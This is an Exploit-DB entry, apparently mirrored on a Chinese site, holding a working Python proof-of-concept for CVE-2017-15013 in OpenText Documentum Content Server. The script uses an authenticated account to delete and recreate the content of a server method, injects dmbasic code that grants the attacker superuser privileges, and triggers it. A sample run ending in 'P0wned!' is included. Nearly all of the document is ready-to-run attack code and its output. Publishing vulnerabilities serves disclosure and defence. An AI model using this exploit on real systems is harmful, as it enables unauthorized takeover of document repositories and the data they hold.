OpenText Documentum Content Server – ‘dmr_content’ Privilege Escalation

  • 作者: Andrey B. Panfilov
    日期: 2017-10-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43004/
  • #!/usr/bin/env python
    
    # Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
    # contains following design gap, which allows authenticated user to gain privileges
    # of superuser:
    #
    # Content Server stores information about uploaded files in dmr_content objects,
    # which are queryable and "editable" (before release 7.2P02 any authenticated user
    # was able to edit dmr_content objects, now any authenticated user may delete
    # dmr_content object and them create new one with the old identifier) by
    # authenticated users, this allows any authenticated user to "modify" security-sensitive
    # dmr_content objects (for example, dmr_content related to dm_method objects)
    # and gain superuser privileges
    #
    # The PoC below demonstrates this vulnerability:
    #
    # MacBook-Pro:~ $ python CVE-2017-15013.py
    # usage:
    # CVE-2017-15013.py host port user password
    # MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
    # Trying to connect to docu72dev01:10001 as dm_bof_registry ...
    # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377Linux64.Oracle
    # Trying to find any dm_method object with content...
    # Trying to poison docbase method dm_Migration
    # Method verb: dmbasic -eMigration_Agent
    # Method function: Migration_Agent
    # Trying to inject new content:
    # Const glabel As String= "Label"
    # Const ginfo As String = "Info"
    # Const gerror As String= "Error"
    #
    # Private Sub PrintMessage(mssg As String, mssgtype As String)
    # If(mssgtype=glabel) Then
    # Print "<BR><B><FONT size=3>"
    # Print mssg
    # print "</FONT></B>"
    # ElseIf(mssgtype=ginfo) Then
    # Print "<BR><FONT color=blue>"
    # Print mssg
    # print "</FONT>"
    # ElseIf(mssgtype=gerror) Then
    # Print "<BR><FONT color=red size=3>"
    # Print mssg
    # print "</FONT>"
    # Else
    # Print "<BR>" & mssg
    # End If
    # End Sub
    # Private Sub SetupSuperUser(TargetUser As String)
    # objectid$ = dmAPIGet("id,c,dm_user where user_name = '" & TargetUser & "'")
    # If objectid$ <> "" then
    # Status = dmAPISet("set,c," & objectid$ & ",user_privileges",16)
    # Status = dmAPIExec("save,c," & objectid$)
    # End If
    # End Sub
    #
    # Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String)
    # Dim SessionID As String
    #
    # SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & ",")
    # If SessionID ="" Then
    # Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName
    # DmExit(-1)
    # Else
    # Print "Connect to docbase " & DocbaseName &" as user " & UserName
    # End If
    #
    # Call SetupSuperUser(TargetUser)
    #
    # End Sub
    #
    # Removing method's content
    # method's content has been successfully removed
    # Creating malicious dmr_content object
    # Malicious dmr_content object has been successfully created
    # Becoming superuser...
    # P0wned!
    # MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
    # Trying to connect to docu72dev01:10001 as dm_bof_registry ...
    # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377Linux64.Oracle
    # Current user is a superuser, nothing to do
    #
    
    
    
    import socket
    import sys
    
    from dctmpy import NULL_ID, RPC_APPLY_FOR_BOOL, RPC_APPLY_FOR_OBJECT
    
    from dctmpy.docbaseclient import DocbaseClient
    from dctmpy.obj.typedobject import TypedObject
    
    CIPHERS = "ALL:aNULL:!eNULL"
    
    
    def usage():
    print "usage:\n%s host port user password" % sys.argv[0]
    
    
    def main():
    if len(sys.argv) != 5:
    usage()
    exit(1)
    
    (session, docbase) = create_session(*sys.argv[1:5])
    
    if is_super_user(session):
    print "Current user is a superuser, nothing to do"
    exit(1)
    
    print "Trying to find any dm_method object with content..."
    method_object = session.get_by_qualification(
    "dm_method WHERE use_method_content=TRUE "
    "and method_verb like 'dmbasic -e%'")
    method_content = session.get_by_qualification(
    "dmr_content where any parent_id='%s'"
    % method_object['r_object_id'])
    
    print "Trying to poison docbase method %s" % method_object['object_name']
    method_verb = method_object['method_verb']
    print "Method verb: %s" % method_verb
    method_function = method_verb[len("dmbasic -e"):]
    print "Method function: %s" % method_function
    new_content = \
    "Const glabel As String= \"Label\"\n" \
    "Const ginfo As String = \"Info\"\n" \
    "Const gerror As String= \"Error\"\n" \
    "\n" \
    "Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \
    "If(mssgtype=glabel) Then\n" \
    "Print \"<BR><B><FONT size=3>\"\n" \
    "Print mssg\n" \
    "print \"</FONT></B>\"\n" \
    "ElseIf(mssgtype=ginfo) Then\n" \
    "Print \"<BR><FONT color=blue>\"\n" \
    "Print mssg\n" \
    "print \"</FONT>\"\n" \
    "ElseIf(mssgtype=gerror) Then\n" \
    "Print \"<BR><FONT color=red size=3>\"\n" \
    "Print mssg\n" \
    "print \"</FONT>\"\n" \
    "Else\n" \
    "Print \"<BR>\" & mssg\n" \
    "End If\n" \
    "End Sub\n" \
    "Private Sub SetupSuperUser(TargetUser As String)\n" \
    " objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \
    " If objectid$ <> \"\" then\n" \
    "Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \
    "Status = dmAPIExec(\"save,c,\" & objectid$)\n" \
    " End If\n" \
    "End Sub\n" \
    "\n" \
    "Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \
    "Dim SessionID As String\n" \
    "\n" \
    "SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \
    "If SessionID =\"\" Then\n" \
    "Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
    "DmExit(-1)\n" \
    "Else\n" \
    "Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
    "End If\n" \
    "\n" \
    "Call SetupSuperUser(TargetUser)\n" \
    "\n" \
    "End Sub\n" % method_function
    print "Trying to inject new content:\n%s" % new_content
    
    session.apply(None, NULL_ID, "BEGIN_TRANS")
    
    if method_content is not None:
    print "Removing method's content"
    remove = TypedObject(session=session)
    remove.set_string("OBJECT_TYPE", "dmr_content")
    remove.set_int("i_vstamp", method_content['i_vstamp'])
    obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove)
    if obj != True:
    print "Failed to remove method's content, exiting"
    end_tran(session, False)
    exit(1)
    print "method's content has been successfully removed"
    
    store = session.get_by_qualification("dm_store")
    format = session.get_by_qualification("dm_format where name='crtext'")
    
    handle = session.make_pusher(store['r_object_id'])
    if handle < 1:
    print "Unable to create pusher"
    end_tran(session, False)
    exit(1)
    
    b = bytearray()
    b.extend(new_content)
    
    if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)):
    print "Failed to start push"
    end_tran(session, False)
    exit(1)
    
    session.upload(handle, b)
    data_ticket = session.end_push_v2(handle)['DATA_TICKET']
    
    print "Creating malicious dmr_content object"
    content = TypedObject(session=session)
    content.set_string("OBJECT_TYPE", "dmr_content")
    content.set_bool("IS_NEW_OBJECT", True)
    content.set_id("storage_id", store['r_object_id'])
    content.set_id("format", format['r_object_id'])
    content.set_int("data_ticket", data_ticket)
    content.set_id("parent_id", method_object['r_object_id'])
    content.set_int("page", 0)
    content.set_string("full_format", format['name'])
    content.set_int("content_size", len(b))
    if not session.save_cont_attrs(method_object['i_contents_id'], content):
    print "Failed to create content"
    end_tran(session, False)
    exit(1)
    
    print "Malicious dmr_content object has been successfully created"
    
    end_tran(session, True)
    
    print "Becoming superuser..."
    method = TypedObject(session=session)
    method.set_string("METHOD", method_object['object_name'])
    method.set_string("ARGUMENTS", "%s %s %s" % (
    session.docbaseconfig['object_name'],
    session.serverconfig['r_install_owner'],
    sys.argv[3]))
    session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method)
    r = session.query(
    "SELECT user_privileges FROM dm_user "
    "WHERE user_name=USER") \
    .next_record()[
    'user_privileges']
    if r != 16:
    print "Failed"
    exit(1)
    print "P0wned!"
    
    
    def end_tran(session, commit=False):
    obj = TypedObject(session=session)
    obj.set_bool("COMMIT", commit)
    session.apply(None, NULL_ID, "END_TRANS", obj)
    
    
    def create_session(host, port, user, pwd):
    print "Trying to connect to %s:%s as %s ..." % (host, port, user)
    session = None
    try:
    session = DocbaseClient(
    host=host, port=int(port),
    username=user, password=pwd)
    except socket.error, e:
    if e.errno == 54:
    session = DocbaseClient(
    host=host, port=int(port),
    username=user, password=pwd,
    secure=True, ciphers=CIPHERS)
    else:
    raise e
    docbase = session.docbaseconfig['object_name']
    version = session.serverconfig['r_server_version']
    print "Connected to %s:%s, docbase: %s, version: %s" % \
    (host, port, docbase, version)
    return (session, docbase)
    
    
    def is_super_user(session):
    user = session.get_by_qualification("dm_user WHERE user_name=USER")
    if user['user_privileges'] == 16:
    return True
    group = session.get_by_qualification(
    "dm_group where group_name='dm_superusers' "
    "AND any i_all_users_names=USER")
    if group is not None:
    return True
    
    return False
    
    
    if __name__ == '__main__':
    main()